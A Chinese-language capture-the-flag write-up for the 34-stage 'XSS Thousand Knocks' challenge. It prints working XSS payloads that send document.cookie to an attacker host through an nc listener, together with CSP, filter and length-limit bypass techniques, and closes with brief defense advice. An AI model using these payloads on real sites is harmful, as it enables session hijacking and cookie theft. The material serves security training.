XSS Thousand Knocks解题记录
字数 1748 2025-08-26 22:11:15
XSS Thousand Knocks 解题教学文档
一、XSS基础概念
XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的攻击方式。攻击者通过在网页中注入恶意代码,当其他用户访问该页面时,恶意代码会在用户浏览器中执行。
二、解题环境说明
- 题目平台接收flag的方式:通过VPS或XSS平台接收cookie(flag在cookie中)
- 基本payload结构:
http://[题目hash].knock.xss.moe/?q=[payload] - 接收flag方式:使用nc监听端口
nc -lvvkp 1234
三、各关卡解题技巧
Stage 1-6: 基础标签闭合
-
Stage 1: 直接location跳转
http://.../?location=`http://your_vps/?${document.cookie}` -
Stage 2: 直接嵌入script标签
<script>document.location=`http://your_vps/?${document.cookie}`</script> -
Stage 3-4: 闭合现有标签
- 双引号闭合:
"><script>...</script> - 单引号闭合:
'><script>...</script>
- 双引号闭合:
-
Stage 5-6: 闭合特殊标签
- 闭合textarea:
</textarea><script>...</script> - 闭合xmp:
</xmp><script>...</script>
- 闭合textarea:
Stage 7-9: 事件处理器利用
- Stage 7-9: 使用onfocus事件
" autofocus onfocus="document.location=`http://your_vps/?${document.cookie}`- 变种:单引号、无引号版本
Stage 10-11: JavaScript伪协议
- Stage 10-11: 使用javascript:协议
javascript:document.location=`http://your_vps/?${document.cookie}`
Stage 12-14: CSP绕过技巧
-
Stage 12: 预加载绕过CSP
var xss = document.createElement(`link`); xss.setAttribute(`rel`, `prefetch`); xss.setAttribute(`href`, `http://your_vps/?${document.cookie}`); document.head.appendChild(xss); -
Stage 14: 利用frame-src策略
- 通过其他关卡作为iframe源
- 使用document.domain跨域
document.domain=`knock.xss.moe`; window.open(`http://your_vps/?${parent.document.cookie}`)
Stage 15-19: 特殊标签利用
-
Stage 15: SVG标签利用
<svg/onload=document.location=`http://your_vps/?${document.cookie}`> -
Stage 18-19: 代码注入
- 转义字符处理:
\');payload;// - alert内执行函数:
XSS',window.open(...));//
- 转义字符处理:
Stage 20-21: 过滤绕过
-
Stage 20: 双写绕过
<scriscriptpt>document.location=`http://your_vps/?${document.cookie}`</scriscriptpt> -
Stage 21: 大小写混淆
<Script>docuscriptment.loscriptcation=`http://your_vps/?${document.cookie}`</sCript>
Stage 22-25: 长度限制绕过
-
Stage 22: 精简payload (65字符限制)
<svg/onload=window.open(`//2259624356:1234/?${document.cookie}`)> -
Stage 23-24: 使用location.hash (55/45字符限制)
<svg/onload=eval(location.hash.slice(1))>#window.open(`http://your_vps/?${document.cookie}`) -
Stage 25: window.name技巧 (35字符限制)
- 外部部署代码:
<script> window.name = "location.href=`http://your_vps/?${parent.document.cookie}`"; location.href = "http://target/?q=<svg/onload=eval(window.name)>"; </script>
Stage 26-30: 编码与特殊字符绕过
-
Stage 26: HTML实体编码绕过大小写转换
- 将整个payload编码为HTML实体
-
Stage 27-28: 点号过滤绕过
- 使用
window['open']代替window.open - IP地址处理:
- 十进制IP:
134.175.33.164→2259624356 - 中文句号:
134。175。33。164
- 十进制IP:
- 使用
-
Stage 29-30: 括号过滤
document[`location`]=`http://2259624356:1234/?${document[`cookie`]}`
Stage 31-34: 不闭合标签利用
- Stage 31-34: 不闭合尖括号
<svg/onload=document[`location`]=`http://2259624356:1234/?${document[`cookie`]}`//
四、关键知识点总结
-
标签闭合技巧:根据上下文选择合适的闭合方式(", ', >, )
-
事件处理器:onfocus、onload等事件的灵活运用
-
CSP绕过:
- 预加载(prefetch)
- 利用允许的域(frame-src)
- 跨域document.domain技巧
-
长度限制应对:
- 使用最短有效标签(svg)
- location.hash分割payload
- 外部window.name技巧
-
过滤绕过:
- 双写关键字(scrscriptipt)
- 大小写混淆
- HTML实体编码
- 反引号代替引号
- 数组表示法(window['open'])
-
特殊技巧:
- JavaScript伪协议
- 十进制IP表示
- 中文标点替代
- 不闭合标签执行
五、防御建议
- 输入输出编码
- 使用CSP策略
- 设置HttpOnly cookie标志
- 过滤特殊字符和关键字
- 使用X-XSS-Protection头
- 实施内容安全策略
通过这34道题目,系统性地掌握了XSS的各种攻击方式和绕过技巧,对Web安全防护有了更深入的理解。